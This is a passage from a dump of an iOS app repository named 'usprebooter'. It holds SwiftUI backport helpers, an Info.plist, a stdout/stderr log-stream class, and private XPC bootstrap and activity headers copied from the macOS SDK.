    "content": "import SwiftUI\n\n#if os(macOS)\ninternal struct VisualEffectBlur: View {\n    private var material: NSVisualEffectView.Material\n    private var blendingMode: NSVisualEffectView.BlendingMode\n    private var state: NSVisualEffectView.State\n\n    public init(\n        material: NSVisualEffectView.Material = .headerView,\n        blendingMode: NSVisualEffectView.BlendingMode = .withinWindow,\n        state: NSVisualEffectView.State = .followsWindowActiveState\n    ) {\n        self.material = material\n        self.blendingMode = blendingMode\n        self.state = state\n    }\n\n    public var body: some View {\n        Representable(\n            material: material,\n            blendingMode: blendingMode,\n            state: state\n        ).accessibility(hidden: true)\n    }\n}\n\n// MARK: - Representable\nprivate extension VisualEffectBlur {\n    struct Representable: NSViewRepresentable {\n        var material: NSVisualEffectView.Material\n        var blendingMode: NSVisualEffectView.BlendingMode\n        var state: NSVisualEffectView.State\n\n        func makeNSView(context: Context) -> NSVisualEffectView {\n            context.coordinator.visualEffectView\n        }\n\n        func updateNSView(_ view: NSVisualEffectView, context: Context) {\n            context.coordinator.update(material: material)\n            context.coordinator.update(blendingMode: blendingMode)\n            context.coordinator.update(state: state)\n        }\n\n        func makeCoordinator() -> Coordinator {\n            Coordinator()\n        }\n\n    }\n\n    class Coordinator {\n        let visualEffectView = NSVisualEffectView()\n\n        init() {\n            visualEffectView.blendingMode = .withinWindow\n        }\n\n        func update(material: NSVisualEffectView.Material) {\n            visualEffectView.material = material\n        }\n\n        func update(blendingMode: NSVisualEffectView.BlendingMode) {\n            visualEffectView.blendingMode = blendingMode\n        }\n\n        func update(state: NSVisualEffectView.State) {\n            visualEffectView.state = state\n        }\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/UIBackport.swift",
    "content": "import SwiftUI\n//@_exported \n\npublic extension View {\n    /// Wraps a SwiftUI `View` that can be extended to provide backport functionality.\n    var backport: Backport<Self> { .init(self) }\n}\n\npublic extension AnyTransition {\n    /// Wraps an `AnyTransition` that can be extended to provide backport functionality.\n    static var backport: Backport<AnyTransition>{\n        Backport(.identity)\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftUIBackports/iOS/Presentation/Detents.swift",
    "content": "import SwiftUI\n\n\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic extension Backport where Wrapped: View {\n    /// Sets the available detents for the enclosing sheet.\n    ///\n    /// By default, sheets support the ``PresentationDetent/large`` detent.\n    ///\n    ///     struct ContentView: View {\n    ///         @State private var showSettings = false\n    ///\n    ///         var body: some View {\n    ///             Button(\"View Settings\") {\n    ///                 showSettings = true\n    ///             }\n    ///             .sheet(isPresented: $showSettings) {\n    ///                 SettingsView()\n    ///                     .presentationDetents([.medium, .large])\n    ///             }\n    ///         }\n    ///     }\n    ///\n    /// - Parameter detents: A set of supported detents for the sheet.\n    ///   If you provide more than one detent, people can drag the sheet\n    ///   to resize it.\n    @ViewBuilder\n    @available(iOS, introduced: 15, deprecated: 16, message: \"Presentation detents are only supported in iOS 15+\")\n    func presentationDetents(_ detents: Set<Backport<Any>.PresentationDetent>) -> some View {\n        #if os(iOS)\n        wrapped.background(Backport<Any>.Representable(detents: detents, selection: nil))\n        #else\n        wrapped\n        #endif\n    }\n\n\n    /// Sets the available detents for the enclosing sheet, giving you\n    /// programmatic control of the currently selected detent.\n    ///\n    /// By default, sheets support the ``PresentationDetent/large`` detent.\n    ///\n    ///     struct ContentView: View {\n    ///         @State private var showSettings = false\n    ///         @State private var settingsDetent = PresentationDetent.medium\n    ///\n    ///         var body: some View {\n    ///             Button(\"View Settings\") {\n    ///                 showSettings = true\n    ///             }\n    ///             .sheet(isPresented: $showSettings) {\n    ///                 SettingsView()\n    ///                     .presentationDetents:(\n    ///                         [.medium, .large],\n    ///                         selection: $settingsDetent\n    ///                      )\n    ///             }\n    ///         }\n    ///     }\n    ///\n    /// - Parameters:\n    ///   - detents: A set of supported detents for the sheet.\n    ///     If you provide more that one detent, people can drag the sheet\n    ///     to resize it.\n    ///   - selection: A ``Binding`` to the currently selected detent.\n    ///     Ensure that the value matches one of the detents that you\n    ///     provide for the `detents` parameter.\n    @ViewBuilder\n    @available(iOS, introduced: 15, deprecated: 16, message: \"Presentation detents are only supported in iOS 15+\")\n    func presentationDetents(_ detents: Set<Backport<Any>.PresentationDetent>, selection: Binding<Backport<Any>.PresentationDetent>) -> some View {\n        #if os(iOS)\n        wrapped.background(Backport<Any>.Representable(detents: detents, selection: selection))\n        #else\n        wrapped\n        #endif\n    }\n}\n\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic extension Backport<Any> {\n\n    /// A type that represents a height where a sheet naturally rests.\n    struct PresentationDetent: Hashable, Comparable {\n\n        public struct Identifier: RawRepresentable, Hashable {\n            public var rawValue: String\n            public init(rawValue: String) {\n                self.rawValue = rawValue\n            }\n\n            public static var medium: Identifier {\n                .init(rawValue: \"com.apple.UIKit.medium\")\n            }\n\n            public static var large: Identifier {\n                .init(rawValue: \"com.apple.UIKit.large\")\n            }\n        }\n\n        public let id: Identifier\n\n        /// The system detent for a sheet that's approximately half the height of\n        /// the screen, and is inactive in compact height.\n        public static var medium: PresentationDetent {\n            .init(id: .medium)\n        }\n\n        /// The system detent for a sheet at full height.\n        public static var large: PresentationDetent {\n            .init(id: .large)\n        }\n\n        fileprivate static var none: PresentationDetent {\n            return .init(id: .init(rawValue: \"\"))\n        }\n\n        public static func < (lhs: PresentationDetent, rhs: PresentationDetent) -> Bool {\n            switch (lhs, rhs) {\n            case (.large, .medium):\n                return false\n            default:\n                return true\n            }\n        }\n    }\n}\n\n#if os(iOS)\n@available(iOS 15, *)\nprivate extension Backport<Any> {\n    struct Representable: UIViewControllerRepresentable {\n        let detents: Set<Backport<Any>.PresentationDetent>\n        let selection: Binding<Backport<Any>.PresentationDetent>?\n\n        func makeUIViewController(context: Context) -> Backport.Representable.Controller {\n            Controller(detents: detents, selection: selection)\n        }\n\n        func updateUIViewController(_ controller: Backport.Representable.Controller, context: Context) {\n            controller.update(detents: detents, selection: selection)\n        }\n    }\n}\n\n@available(iOS 15, *)\nprivate extension Backport.Representable {\n    final class Controller: UIViewController, UISheetPresentationControllerDelegate {\n\n        var detents: Set<Backport<Any>.PresentationDetent>\n        var selection: Binding<Backport<Any>.PresentationDetent>?\n        var largestUndimmed: Backport<Any>.PresentationDetent?\n        weak var _delegate: UISheetPresentationControllerDelegate?\n\n        init(detents: Set<Backport<Any>.PresentationDetent>, selection: Binding<Backport<Any>.PresentationDetent>?) {\n            self.detents = detents\n            self.selection = selection\n            super.init(nibName: nil, bundle: nil)\n        }\n\n        required init?(coder: NSCoder) {\n            fatalError(\"init(coder:) has not been implemented\")\n        }\n\n        override func willMove(toParent parent: UIViewController?) {\n            super.willMove(toParent: parent)\n            if let controller = parent?.sheetPresentationController {\n                if controller.delegate !== self && _delegate == nil {\n                    _delegate = controller.delegate\n                    controller.delegate = self\n                }\n            }\n            update(detents: detents, selection: selection)\n        }\n\n        override func willTransition(to newCollection: UITraitCollection, with coordinator: UIViewControllerTransitionCoordinator) {\n            super.willTransition(to: newCollection, with: coordinator)\n            update(detents: detents, selection: selection)\n        }\n\n        func update(detents: Set<Backport<Any>.PresentationDetent>, selection: Binding<Backport<Any>.PresentationDetent>?) {\n            self.detents = detents\n            self.selection = selection\n\n            if let controller = parent?.sheetPresentationController {\n                controller.animateChanges {\n                    controller.detents = detents.sorted().map {\n                        switch $0 {\n                        case .medium:\n                            return .medium()\n                        default:\n                            return .large()\n                        }\n                    }\n\n                    if let selection = selection {\n                        controller.selectedDetentIdentifier = .init(selection.wrappedValue.id.rawValue)\n                    }\n\n                    controller.prefersScrollingExpandsWhenScrolledToEdge = true\n                }\n\n                UIView.animate(withDuration: 0.25) {\n                    if let undimmed = controller.largestUndimmedDetentIdentifier {\n                        controller.presentingViewController.view?.tintAdjustmentMode = (selection?.wrappedValue ?? .large) >= .init(id: .init(rawValue: undimmed.rawValue)) ? .automatic : .normal\n                    } else {\n                        controller.presentingViewController.view?.tintAdjustmentMode = .automatic\n                    }\n                }\n            }\n        }\n\n        func sheetPresentationControllerDidChangeSelectedDetentIdentifier(_ sheetPresentationController: UISheetPresentationController) {\n            guard\n                let selection = selection,\n                let id = sheetPresentationController.selectedDetentIdentifier?.rawValue,\n                selection.wrappedValue.id.rawValue != id\n            else { return }\n\n            selection.wrappedValue = .init(id: .init(rawValue: id))\n        }\n\n        override func responds(to aSelector: Selector!) -> Bool {\n            if super.responds(to: aSelector) { return true }\n            if _delegate?.responds(to: aSelector) ?? false { return true }\n            return false\n        }\n\n        override func forwardingTarget(for aSelector: Selector!) -> Any? {\n            if super.responds(to: aSelector) { return self }\n            return _delegate\n        }\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>UIApplicationSceneManifest</key>\n\t<dict>\n\t\t<key>UIApplicationSupportsMultipleScenes</key>\n\t\t<false/>\n\t</dict>\n</dict>\n</plist>\n"
  },
  {
    "path": "usprebooter/Log.swift",
    "content": "//\n//  Log.swift\n//  BootstrapUI\n//\n//  Created by haxi0 on 28.12.2023.\n//\n\nimport Foundation\nimport UIKit\nimport SwiftUI\n\n//From https://github.com/Odyssey-Team/Taurine/blob/main/Taurine/app/LogStream.swift\n//Code from Taurine https://github.com/Odyssey-Team/Taurine under BSD 4 License\nclass LogStream {\n    static let shared = LogStream()\n    private(set) var outputString: NSMutableAttributedString = NSMutableAttributedString()\n    public let reloadNotification = Notification.Name(\"LogStreamReloadNotification\")\n    private(set) var outputFd: [Int32] = [0, 0]\n    private(set) var errFd: [Int32] = [0, 0]\n    private let readQueue: DispatchQueue\n    private let outputSource: DispatchSourceRead\n    private let errorSource: DispatchSourceRead\n    init() {\n        readQueue = DispatchQueue(label: \"com.roothide.Bootstrap.logstream\", qos: .userInteractive, attributes: .concurrent, autoreleaseFrequency: .inherit, target: nil)\n        guard pipe(&outputFd) != -1,\n            pipe(&errFd) != -1 else {\n                fatalError(\"pipe failed\")\n        }\n        let origOutput = dup(STDOUT_FILENO)\n        let origErr = dup(STDERR_FILENO)\n        setvbuf(stdout, nil, _IONBF, 0)\n        guard dup2(outputFd[1], STDOUT_FILENO) >= 0,\n            dup2(errFd[1], STDERR_FILENO) >= 0 else {\n                fatalError(\"dup2 failed\")\n        }\n        outputSource = DispatchSource.makeReadSource(fileDescriptor: outputFd[0], queue: readQueue)\n        errorSource = DispatchSource.makeReadSource(fileDescriptor: errFd[0], queue: readQueue)\n        outputSource.setCancelHandler {\n            close(self.outputFd[0])\n            close(self.outputFd[1])\n        }\n        errorSource.setCancelHandler {\n            close(self.errFd[0])\n            close(self.errFd[1])\n        }\n        let bufsiz = Int(BUFSIZ)\n        outputSource.setEventHandler {\n            let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)\n            defer { buffer.deallocate() }\n            let bytesRead = read(self.outputFd[0], buffer, bufsiz)\n            guard bytesRead > 0 else {\n                if bytesRead == -1 && errno == EAGAIN {\n                    return\n                }\n                self.outputSource.cancel()\n                return\n            }\n            write(origOutput, buffer, bytesRead)\n            let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]\n            array.withUnsafeBufferPointer { ptr in\n                let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))\n                let textColor = UIColor.white\n                let substring = NSMutableAttributedString(string: str, attributes: [NSAttributedString.Key.foregroundColor: textColor])\n                self.outputString.append(substring)\n                DispatchQueue.main.async {\n                    NotificationCenter.default.post(name: self.reloadNotification, object: nil)\n                }\n            }\n        }\n        errorSource.setEventHandler {\n            let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)\n            defer { buffer.deallocate() }\n            let bytesRead = read(self.errFd[0], buffer, bufsiz)\n            guard bytesRead > 0 else {\n                if bytesRead == -1 && errno == EAGAIN {\n                    return\n                }\n                self.errorSource.cancel()\n                return\n            }\n            write(origErr, buffer, bytesRead)\n            let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]\n            array.withUnsafeBufferPointer { ptr in\n                let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))\n                let textColor = UIColor(red: 219/255.0, green: 44.0/255.0, blue: 56.0/255.0, alpha: 1)\n                let substring = NSMutableAttributedString(string: str, attributes: [NSAttributedString.Key.foregroundColor: textColor])\n                self.outputString.append(substring)\n                DispatchQueue.main.async {\n                    NotificationCenter.default.post(name: self.reloadNotification, object: nil)\n                }\n            }\n        }\n        outputSource.resume()\n        errorSource.resume()\n    }\n}\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/bootstrap.h",
    "content": "#ifndef __XPC_BOOTSTRAP_H__\n#define __XPC_BOOTSTRAP_H__\n\n#ifndef __XPC_INDIRECT__\n#define __XPC_INDIRECT__\n#endif // __XPC_INDIRECT__\n\n#include \"base.h\"\n#include <Availability.h>\n\n// <rdar://problem/13536274>\n#include <AvailabilityMacros.h>\n\n__BEGIN_DECLS;\n\n#include <mach/std_types.h>\n#include <mach/message.h>\n#include <sys/types.h>\n#include <stdbool.h>\n\n#define\tBOOTSTRAP_MAX_NAME_LEN 128\n#define\tBOOTSTRAP_MAX_CMD_LEN 512\n\ntypedef char name_t[BOOTSTRAP_MAX_NAME_LEN];\ntypedef char cmd_t[BOOTSTRAP_MAX_CMD_LEN];\ntypedef name_t *name_array_t;\ntypedef int bootstrap_status_t;\ntypedef bootstrap_status_t *bootstrap_status_array_t;\ntypedef unsigned int bootstrap_property_t;\ntypedef bootstrap_property_t * bootstrap_property_array_t;\n\ntypedef boolean_t *bool_array_t;\n\n#define BOOTSTRAP_MAX_LOOKUP_COUNT 20\n\n#define BOOTSTRAP_SUCCESS 0\n#define BOOTSTRAP_NOT_PRIVILEGED 1100\n#define BOOTSTRAP_NAME_IN_USE 1101\n#define BOOTSTRAP_UNKNOWN_SERVICE 1102\n#define BOOTSTRAP_SERVICE_ACTIVE 1103\n#define BOOTSTRAP_BAD_COUNT 1104\n#define BOOTSTRAP_NO_MEMORY 1105\n#define BOOTSTRAP_NO_CHILDREN 1106\n\n#define BOOTSTRAP_STATUS_INACTIVE 0\n#define BOOTSTRAP_STATUS_ACTIVE 1\n#define BOOTSTRAP_STATUS_ON_DEMAND 2\n\nXPC_EXPORT\nmach_port_t bootstrap_port;\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL5\nkern_return_t\nbootstrap_create_server(mach_port_t bp, cmd_t server_cmd, uid_t server_uid,\n\tboolean_t on_demand, mach_port_t *server_port);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL3\nkern_return_t\nbootstrap_subset(mach_port_t bp, mach_port_t requestor_port,\n\tmach_port_t *subset_port);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_5, __IPHONE_2_0, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL2\nkern_return_t\nbootstrap_unprivileged(mach_port_t bp, mach_port_t *unpriv_port);\n\n__OSX_AVAILABLE_STARTING(__MAC_10_4, __IPHONE_2_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL2\nkern_return_t\nbootstrap_parent(mach_port_t bp, mach_port_t *parent_port);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_5, __IPHONE_2_0, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT\nkern_return_t\nbootstrap_register(mach_port_t bp, name_t service_name, mach_port_t sp);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_6, __IPHONE_2_0, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL3\nkern_return_t\nbootstrap_create_service(mach_port_t bp, name_t service_name, mach_port_t *sp);\n\n__OSX_AVAILABLE_STARTING(__MAC_10_4, __IPHONE_2_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL3\nkern_return_t\nbootstrap_check_in(mach_port_t bp, const name_t service_name, mach_port_t *sp);\n\n// Once <rdar://problem/13542045> is fixed, we can add back in XPC_WARN_RESULT.\n__OSX_AVAILABLE_STARTING(__MAC_10_4, __IPHONE_2_0)\nXPC_EXPORT XPC_NONNULL3\nkern_return_t\nbootstrap_look_up(mach_port_t bp, const name_t service_name, mach_port_t *sp);\n\n__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_5, __IPHONE_2_0, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL2\nkern_return_t\nbootstrap_status(mach_port_t bp, name_t service_name,\n\tbootstrap_status_t *service_active);\n\n__OSX_AVAILABLE_STARTING(__MAC_10_4, __IPHONE_2_0)\nXPC_EXPORT XPC_WARN_RESULT\nconst char *\nbootstrap_strerror(kern_return_t r);\n\n__END_DECLS;\n\n#endif // __XPC_BOOTSTRAP_H__ \n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/activity.h",
    "content": "#ifndef __XPC_ACTIVITY_H__\n#define __XPC_ACTIVITY_H__\n\n#ifndef __XPC_INDIRECT__\n#error \"Please #include <xpc/xpc.h> instead of this file directly.\"\n// For HeaderDoc.\n#include \"base.h\"\n#endif // __XPC_INDIRECT__ \n\n#ifdef __BLOCKS__\n\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n/*\n * The following are a collection of keys and values used to set an activity's\n * execution criteria.\n */\n\n/*!\n * @constant XPC_ACTIVITY_INTERVAL\n * An integer property indicating the desired time interval (in seconds) of the \n * activity. The activity will not be run more than once per time interval.\n * Due to the nature of XPC Activity finding an opportune time to run\n * the activity, any two occurrences may be more or less than 'interval'\n * seconds apart, but on average will be 'interval' seconds apart.\n * The presence of this key implies the following, unless overridden:\n * - XPC_ACTIVITY_REPEATING with a value of true\n * - XPC_ACTIVITY_DELAY with a value of half the 'interval'\n *   The delay enforces a minimum distance between any two occurrences.\n * - XPC_ACTIVITY_GRACE_PERIOD with a value of half the 'interval'.\n *   The grace period is the amount of time allowed to pass after the end of\n *   the interval before more aggressive scheduling occurs. The grace period\n *   does not increase the size of the interval.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_INTERVAL;\n\n/*!\n * @constant XPC_ACTIVITY_REPEATING\n * A boolean property indicating whether this is a repeating activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_REPEATING;\n\n/*!\n * @constant XPC_ACTIVITY_DELAY\n * An integer property indicating the number of seconds to delay before\n * beginning the activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_DELAY;\n\n/*!\n * @constant XPC_ACTIVITY_GRACE_PERIOD\n * An integer property indicating the number of seconds to allow as a grace\n * period before the scheduling of the activity becomes more aggressive.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_GRACE_PERIOD;\n\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_1_MIN;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_5_MIN;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_15_MIN;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_30_MIN;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_1_HOUR;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_4_HOURS;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_8_HOURS;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_1_DAY;\n\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst int64_t XPC_ACTIVITY_INTERVAL_7_DAYS;\n\n/*!\n * @constant XPC_ACTIVITY_PRIORITY\n * A string property indicating the priority of the activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_PRIORITY;\n\n/*!\n * @constant XPC_ACTIVITY_PRIORITY_MAINTENANCE\n * A string indicating activity is maintenance priority.\n *\n * Maintenance priority is intended for user-invisible maintenance tasks\n * such as garbage collection or optimization.\n *\n * Maintenance activities are not permitted to run if the device thermal\n * condition exceeds a nominal level or if the battery level is lower than 20%.\n * In Low Power Mode (on supported devices), maintenance activities are not\n * permitted to run while the device is on battery, or plugged in and the\n * battery level is lower than 30%.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_PRIORITY_MAINTENANCE;\n\n/*!\n * @constant XPC_ACTIVITY_PRIORITY_UTILITY\n * A string indicating activity is utility priority.\n *\n * Utility priority is intended for user-visible tasks such as fetching data\n * from the network, copying files, or importing data.\n *\n * Utility activities are not permitted to run if the device thermal condition\n * exceeds a moderate level or if the battery level is less than 10%.  In Low\n * Power Mode (on supported devices) when on battery power, utility activities\n * are only permitted when they are close to their deadline (90% of their time\n * window has elapsed).\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_PRIORITY_UTILITY;\n\n/*!\n * @constant XPC_ACTIVITY_ALLOW_BATTERY\n * A Boolean value indicating whether the activity should be allowed to run\n * while the computer is on battery power. The default value is false for\n * maintenance priority activity and true for utility priority activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_ALLOW_BATTERY;\n\n/*!\n * @constant XPC_ACTIVITY_REQUIRE_SCREEN_SLEEP\n * A Boolean value indicating whether the activity should only be performed\n * while device appears to be asleep.  Note that the definition of screen sleep\n * may vary by platform and may include states where the device is known to be\n * idle despite the fact that the display itself is still powered.  Defaults to\n * false.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_REQUIRE_SCREEN_SLEEP; // bool\n\n/*!\n * @constant XPC_ACTIVITY_PREVENT_DEVICE_SLEEP\n * A Boolean value indicating whether the activity should prevent system sleep while\n * running on battery.\n * If this property is set, the activity scheduler will take the appropriate power\n * assertion to keep the device (but not the screen) awake while the activity is running.\n * Only activities which perform critical system functions that do not want to be\n * interrupted by system sleep should set this.\n * Setting this property can impact battery life.\n */\n__API_AVAILABLE(macos(12.0), ios(15.0), watchos(8.0))\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_PREVENT_DEVICE_SLEEP; // bool\n\n/*!\n * @constant XPC_ACTIVITY_REQUIRE_BATTERY_LEVEL\n * An integer percentage of minimum battery charge required to allow the\n * activity to run. A default minimum battery level is determined by the\n * system.\n */\n__OSX_AVAILABLE_BUT_DEPRECATED_MSG(__MAC_10_9, __MAC_10_9, __IPHONE_7_0, __IPHONE_7_0,\n\t\"REQUIRE_BATTERY_LEVEL is not implemented\")\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_REQUIRE_BATTERY_LEVEL; // int (%)\n\n/*!\n * @constant XPC_ACTIVITY_REQUIRE_HDD_SPINNING\n * A Boolean value indicating whether the activity should only be performed\n * while the hard disk drive (HDD) is spinning. Computers with flash storage\n * are considered to be equivalent to HDD spinning. Defaults to false.\n */\n__OSX_AVAILABLE_BUT_DEPRECATED_MSG(__MAC_10_9, __MAC_10_9, __IPHONE_7_0, __IPHONE_7_0,\n\t\"REQUIRE_HDD_SPINNING is not implemented\")\nXPC_EXPORT\nconst char * const XPC_ACTIVITY_REQUIRE_HDD_SPINNING; // bool\n\n/*!\n * @define XPC_TYPE_ACTIVITY\n * A type representing the XPC activity object.\n */\n#define XPC_TYPE_ACTIVITY (&_xpc_type_activity)\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_activity);\n\n/*!\n * @typedef xpc_activity_t\n *\n * @abstract\n * An XPC activity object.\n *\n * @discussion\n * This object represents a set of execution criteria and a current execution\n * state for background activity on the system. Once an activity is registered,\n * the system will evaluate its criteria to determine whether the activity is\n * eligible to run under current system conditions. When an activity becomes\n * eligible to run, its execution state will be updated and an invocation of\n * its handler block will be made.\n */\nXPC_DECL(xpc_activity);\n\n/*!\n * @typedef xpc_activity_handler_t\n *\n * @abstract\n * A block that is called when an XPC activity becomes eligible to run.\n */\nXPC_NONNULL1\ntypedef void (^xpc_activity_handler_t)(xpc_activity_t activity);\n\n/*!\n * @constant XPC_ACTIVITY_CHECK_IN\n * This constant may be passed to xpc_activity_register() as the criteria\n * dictionary in order to check in with the system for previously registered\n * activity using the same identifier (for example, an activity taken from a\n * launchd property list).\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT\nconst xpc_object_t XPC_ACTIVITY_CHECK_IN;\n\n/*!\n * @function xpc_activity_register\n *\n * @abstract\n * Registers an activity with the system.\n *\n * @discussion\n * Registers a new activity with the system. The criteria of the activity are\n * described by the dictionary passed to this function. If an activity with the\n * same identifier already exists, the criteria provided override the existing\n * criteria unless the special dictionary XPC_ACTIVITY_CHECK_IN is used. The\n * XPC_ACTIVITY_CHECK_IN dictionary instructs the system to first look up an\n * existing activity without modifying its criteria. Once the existing activity\n * is found (or a new one is created with an empty set of criteria) the handler\n * will be called with an activity object in the XPC_ACTIVITY_STATE_CHECK_IN\n * state.\n *\n * @param identifier\n * A unique identifier for the activity. Each application has its own namespace.\n * The identifier should remain constant across registrations, relaunches of\n * the application, and reboots. It should identify the kind of work being done,\n * not a particular invocation of the work.\n *\n * @param criteria\n * A dictionary of criteria for the activity.\n *\n * @param handler\n * The handler block to be called when the activity changes state to one of the\n * following states:\n * - XPC_ACTIVITY_STATE_CHECK_IN (optional)\n * - XPC_ACTIVITY_STATE_RUN\n *\n * The handler block is never invoked reentrantly. It will be invoked on a\n * dispatch queue with an appropriate priority to perform the activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3\nvoid\nxpc_activity_register(const char *identifier, xpc_object_t criteria,\n\txpc_activity_handler_t handler);\n\n/*!\n * @function xpc_activity_copy_criteria\n *\n * @abstract\n * Returns an XPC dictionary describing the execution criteria of an activity.\n * This will return NULL in cases where the activity has already completed, e.g.\n * when checking in to an event that finished and was not rescheduled.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_RETURNS_RETAINED XPC_NONNULL1\nxpc_object_t _Nullable\nxpc_activity_copy_criteria(xpc_activity_t activity);\n\n/*!\n * @function xpc_activity_set_criteria\n *\n * @abstract\n * Modifies the execution criteria of an activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_activity_set_criteria(xpc_activity_t activity, xpc_object_t criteria);\n\n/*!\n * @enum xpc_activity_state_t\n * An activity is defined to be in one of the following states. Applications\n * may check the current state of the activity using xpc_activity_get_state()\n * in the handler block provided to xpc_activity_register().\n *\n * The application can modify the state of the activity by calling\n * xpc_activity_set_state() with one of the following:\n * - XPC_ACTIVITY_STATE_DEFER\n * - XPC_ACTIVITY_STATE_CONTINUE\n * - XPC_ACTIVITY_STATE_DONE\n *\n * @constant XPC_ACTIVITY_STATE_CHECK_IN\n * An activity in this state has just completed a checkin with the system after\n * XPC_ACTIVITY_CHECK_IN was provided as the criteria dictionary to\n * xpc_activity_register. The state gives the application an opportunity to\n * inspect and modify the activity's criteria.\n *\n * @constant XPC_ACTIVITY_STATE_WAIT\n * An activity in this state is waiting for an opportunity to run. This value\n * is never returned within the activity's handler block, as the block is\n * invoked in response to XPC_ACTIVITY_STATE_CHECK_IN or XPC_ACTIVITY_STATE_RUN.\n *\n * Note:\n * A launchd job may idle exit while an activity is in the wait state and be\n * relaunched in response to the activity becoming runnable. The launchd job\n * simply needs to re-register for 